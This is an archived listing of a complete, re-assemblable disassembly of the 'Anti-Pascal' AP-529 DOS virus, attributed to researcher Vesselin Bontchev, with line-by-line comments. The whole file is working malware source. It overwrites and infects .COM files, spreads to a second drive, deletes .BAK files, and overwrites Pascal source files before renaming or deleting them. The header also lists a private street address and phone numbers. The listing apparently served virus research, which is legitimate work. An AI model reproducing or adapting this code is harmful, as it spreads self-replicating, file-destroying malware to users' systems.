home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AP-529.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  9KB  |  341 lines

  1.     page    ,132
  2.     name    AP529
  3.     title    AP529 - The 'Anti-Pascal' Virus, version AP-529
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║              The 'Anti-Pascal' Virus, version AP-529                ║
  11. ; ║           Disassembled by Vesselin Bontchev, June 1990          ║
  12. ; ║                                         ║
  13. ; ║            Copyright (c) Vesselin Bontchev 1989, 1990             ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code,ds:code
  23.  
  24.     org    100
  25.  
  26. vlen    =    v_end-start
  27. crit    equ    12        ; Address of the original INT 24h handler
  28.  
  29. start:
  30.     push    ax        ; Save registers used
  31.     push    cx
  32.     push    si
  33.     push    di
  34.     push    bx
  35.     push    flen        ; Save current file length
  36.  
  37. ; The operand of the instruction above is used as a signature by the virus
  38.  
  39. sign    equ    $-2
  40.  
  41.     jmp    short v_start    ; Go to virus start
  42.  
  43. flen    dw    vlen        ; File length before infection
  44. f_name    db    13d dup (?)    ; File name buffer for the rename function call
  45. fmask    db    '*.'            ; Mask for FindFirst/FindNext
  46. fext    db    'com', 0        ; The extension part of the file mask
  47. parent    db    '..', 0         ; Path for changing to the parent dir
  48.  
  49. com    db    'com'           ; File extensions used
  50. bak    db    'bak'
  51. pas    db    'pas'
  52. wild    db    '???'
  53. exe    db    'exe'
  54.  
  55. dta    equ    $        ; Disk Transfer Address area
  56. drive    db    ?        ;Drive to search for
  57. pattern db    11d dup (?)    ;Search pattern
  58. reserve db    9 dup (?)    ;Not used
  59. attrib    db    ?        ;File attribute
  60. time    dw    ?        ;File time
  61. date    dw    ?        ;File date
  62. fsize    dd    ?        ;File size
  63. namez    db    14d dup (?)    ;File name found
  64.  
  65. mem_seg dw    ?        ; Segment of the allocated I/O buffer
  66. sizehld dw    ?        ; Size holder
  67.  
  68. v_start:
  69.     mov    bx,1000     ; Shrink program memory size to 64 K
  70.     mov    ah,4A
  71.     int    21        ; Do it
  72.  
  73.     mov    ah,48        ; Allocate I/O buffer in memory
  74.     mov    bx,vlen/16d+1    ;  (at least vlen long)
  75.     int    21        ; Do it
  76.     jc    cleanup     ; Exit on error
  77.     mov    mem_seg,ax    ; Save the segment of the allocated memory
  78.  
  79.     mov    ax,2524     ; Set critical error handler
  80.     mov    dx,offset int_24
  81.     int    21        ; Do it
  82.  
  83.     mov    ah,1A        ; Set new DTA area
  84.     mov    dx,offset dta
  85.     int    21        ; Do it
  86.  
  87.     mov    ah,19        ; Get default drive
  88.     int    21
  89.     push    ax        ; Save it on stack
  90.  
  91.     call    infect        ; Proceed with infection
  92.  
  93.     int    11        ; Put equipment bits in ax
  94.     test    ax,1        ; Diskette drives present?
  95.     jz    cleanup     ; Exit if not (?!)
  96.  
  97.     shl    ax,1        ; Get number of floppy disk drives
  98.     shl    ax,1        ;  in AH (0-3 means 1-4 drives)
  99.     and    ah,3
  100.  
  101.     add    ah,2        ; Convert the number of drives to
  102.     mov    al,ah        ;  the range 2-5 and put it into BL
  103.     mov    bx,ax
  104.     xor    bh,bh
  105.  
  106.     cmp    bl,3        ; More than 2 floppy drives?
  107.     ja    many        ; Check if the highest one is removable if so
  108.     mov    bl,3        ; Otherwise check disk C:
  109. many:
  110.     mov    ax,4408     ; Check whether device is removable
  111.     int    21
  112.     jc    cleanup     ; Exit on error (network)
  113.     or    ax,ax        ; Is device removable?
  114.     jz    cleanup     ; Exit if so
  115.  
  116.     mov    dl,bl        ; Otherwise select it as default
  117.     dec    dl
  118.     mov    ah,0E
  119.     int    21        ; Do it
  120.  
  121.     call    infect        ; Proceed with this drive also
  122.  
  123. cleanup:
  124.     pop    dx        ; Restore saved default disk from stack
  125.     mov    ah,0E        ; Set default drive
  126.     int    21        ; Do it
  127.  
  128.     pop    flen        ; Restore flen
  129.  
  130.     mov    es,mem_seg    ; Free allocated memory
  131.     mov    ah,49
  132.     int    21        ; Do it
  133.  
  134.     mov    ah,4A        ; Get all the available memory
  135.     push    ds        ; ES := DS
  136.     pop    es
  137.     mov    bx,-1
  138.     int    21        ; Do it
  139.  
  140.     mov    ah,4A        ; Assign it to the program (the initial state)
  141.     int    21        ; Do it
  142.  
  143.     mov    dx,80        ; Restore old DTA
  144.     mov    ah,1A
  145.     int    21        ; Do it
  146.  
  147.     mov    ax,2524     ; Restore old critical error handler
  148.     push    ds        ; Save DS
  149.     lds    dx,dword ptr ds:[crit]
  150.     int    21        ; Do it
  151.     pop    ds        ; Restore DS
  152.  
  153.     pop    bx        ; Restore BX
  154.  
  155.     mov    ax,4F        ; Copy the program at exit_pgm into
  156.     mov    es,ax        ;  the Intra-Aplication Communication
  157.     xor    di,di        ;  Area (0000:04F0h)
  158.     mov    si,offset exit_pgm
  159.     mov    cx,pgm_end-exit_pgm    ; exit_pgm length
  160.     cld
  161.     rep    movsb        ; Do it
  162.     mov    ax,ds        ; Correct the Far JMP instruction with
  163.     stosw            ;  the current DS value
  164.  
  165.     mov    di,offset start ; Prepare for moving vlen bytes
  166.     mov    si,flen     ;  from file end to start
  167.     add    si,di
  168.     mov    cx,vlen
  169.     push    ds        ; ES := DS
  170.     pop    es
  171. ;    jmp    far ptr 004F:0000    ; Go to exit_pgm
  172.     db    0EA, 0, 0, 4F, 0
  173.  
  174. exit_pgm:
  175.     rep    movsb        ; Restore the original bytes of the file
  176.     pop    di        ; Restore registers used
  177.     pop    si
  178.     pop    cx
  179.     pop    ax
  180.     db    0EA, 0, 1    ; JMP Far at XXXX:0100
  181. pgm_end equ    $
  182.  
  183. lseek:
  184.     mov    ah,42
  185.     xor    cx,cx        ; Offset := 0
  186.     xor    dx,dx
  187.     int    21        ; Do it
  188.     ret            ; And exit
  189.  
  190. f_first:            ; Find first file with extension pointed by SI
  191.     mov    di,offset fext    ; Point DI at extension part of fmask
  192.     cld            ; Clear direction flag
  193.     movsw            ; Copy the extension pointed by SI
  194.     movsb            ;  to file mask for FindFirst/FindNext
  195.     mov    ah,4E        ; Find first file matching fmask
  196.     mov    cx,20        ; Normal files only
  197.     mov    dx,offset fmask
  198.     ret            ; Exit
  199.  
  200. wr_body:
  201.     mov    ax,3D02     ; Open file for reading and writing
  202.     mov    dx,offset namez ; FIle name is in namez
  203.     int    21        ; Do it
  204.     mov    bx,ax        ; Save handle in BX
  205.  
  206.     mov    ah,3F        ; Read the first vlen bytes of the file
  207.     mov    cx,vlen     ;  in the allocated memory buffer
  208.     push    ds        ; Save DS
  209.     mov    ds,mem_seg
  210.     xor    dx,dx
  211.     int    21        ; Do it
  212.  
  213.     mov    ax,ds:[sign-start]    ; Get virus signature
  214.     pop    ds        ; Restore DS
  215.     cmp    ax,word ptr ds:[offset sign]    ; File already infected?
  216.     je    is_inf        ; Exit if so
  217.     push    ax        ; Save AX
  218.     mov    al,0        ; Lseek to the file beginning
  219.     call    lseek        ; Do it
  220.     mov    ah,40        ; Write virus body over the
  221.     mov    dx,offset start ;  first bytes of the file
  222.     mov    cx,sizehld    ; Number of bytes to write
  223.     int    21        ; Do it
  224.  
  225.     pop    ax        ; Restore AX
  226.     clc            ; CF == 0 means infection successfully done
  227.     ret            ; Exit
  228. is_inf:
  229.     stc            ; CF == 1 means file already infected
  230.     ret            ; Exit
  231.  
  232. rename:
  233.     push    si        ; Save SI
  234.     mov    si,offset namez ; Point SI at file name
  235.     mov    dx,si        ; Point DX there too
  236.     mov    di,offset f_name    ; Point DI at the name buffer
  237.  
  238. cpy_name:
  239.     lodsb            ; Get byte from the file name
  240.     stosb            ; Store it in the name buffer
  241.     cmp    al,'.'          ; Is all the name (up to the extension) copied?
  242.     jne    cpy_name    ; Loop if not
  243.  
  244.     pop    si        ; Restore SI
  245.     movsw            ; Copy the new extension
  246.     movsb            ;  into the file name buffer
  247.     xor    al,al        ; Make the file name ASCIIZ
  248.     stosb            ;  by placing a zero after it
  249.  
  250.     mov    ah,56        ; Now rename the file to the new extension
  251.     mov    di,offset f_name
  252.     int    21        ; Do it
  253.     ret            ; Done. Exit
  254.  
  255. infect:
  256.     mov    si,offset com    ; Find the first .COM file in this dir
  257.     call    f_first
  258. f_next2:
  259.     int    21        ; Do it
  260.     jc    pass_2        ; Do damage if no such files
  261.  
  262.     mov    ax,word ptr fsize    ; Check the size of the file found
  263.     cmp    ax,vlen     ; Less than virus length?
  264.     jb    next        ; Too small, don't touch
  265.     cmp    ax,0FFFF-vlen    ; Bigger than 64 K - vlen?
  266.     ja    next        ; Too big, don't touch
  267.     mov    flen,ax     ; Save file length
  268.     mov    sizehld,vlen
  269.     call    wr_body     ; Write virus body over the file
  270.     jc    next        ; Exit on error
  271.     mov    al,2        ; Lseek to file end
  272.     call    lseek        ; Do it
  273.     push    ds        ; Save DS
  274.     mov    ds,mem_seg    ; Write the original bytes from
  275.     mov    cx,vlen     ;  the file beginning after its end
  276.     xor    dx,dx
  277.     mov    ah,40
  278.     int    21        ; Do it
  279.     pop    ds        ; Restore DS
  280.  
  281. close:
  282.     mov    ah,3E        ; Close the file handle
  283.     int    21        ; Do it
  284.     ret            ; And exit
  285.  
  286. next:
  287.     call    close        ; Close the file
  288.     mov    ah,4F        ; And go find another one
  289.     jmp    f_next2
  290.  
  291. pass_2:
  292.     mov    si,offset bak    ; Find a *.BAK file
  293.     call    f_first     ; Do it
  294.     int    21
  295.     jc    pas_srch    ; On error search for *.PAS files
  296.     mov    dx,offset namez ; Otherwise delete the file
  297.     mov    ah,41        ; Do it
  298.     int    21
  299.  
  300. pas_srch:
  301.     mov    si,offset pas    ; Find a *.PAS file
  302.     call    f_first     ; Do it
  303.     int    21
  304.     jc    inf_xit     ; Exit on error
  305.  
  306.     mov    ax,word ptr fsize
  307.     mov    sizehld,ax    ; Save file size
  308.     call    wr_body     ; Overwrite the file with the virus body
  309.     call    close        ; Close it
  310.     mov    si,offset com    ; Try to rename it as a .COM file
  311.     call    rename        ; Do it
  312.     jnc    inf_xit     ; Exit if renaming OK
  313.     mov    si,offset exe    ; Otherwise try to rename it as an .EXE file
  314.     call    rename        ; Do it
  315.     jnc    inf_xit     ; Exit if renaming OK
  316.     mov    ah,41        ; Otherwise just delete that stupid file
  317.     int    21        ; Do it
  318. inf_xit:
  319.     ret            ; And exit
  320.  
  321. int_24:             ; Critical error handler
  322.     mov    al,2        ; Abort suggested (?!)
  323.     iret            ; Return
  324.  
  325. v_end    =    $
  326.  
  327. ; Here goes the rest of the original program (if any):
  328.  
  329. ; And here (after the  end of file) are the overwritten first 529 bytes:
  330.  
  331.     jmp    quit        ; The original "program"
  332.  
  333.     db    (529d - 8) dup (90)
  334.  
  335. quit:
  336.     mov    ax,4C00     ; Just exit
  337.     int    21
  338.  
  339. code    ends
  340.     end    start
  341.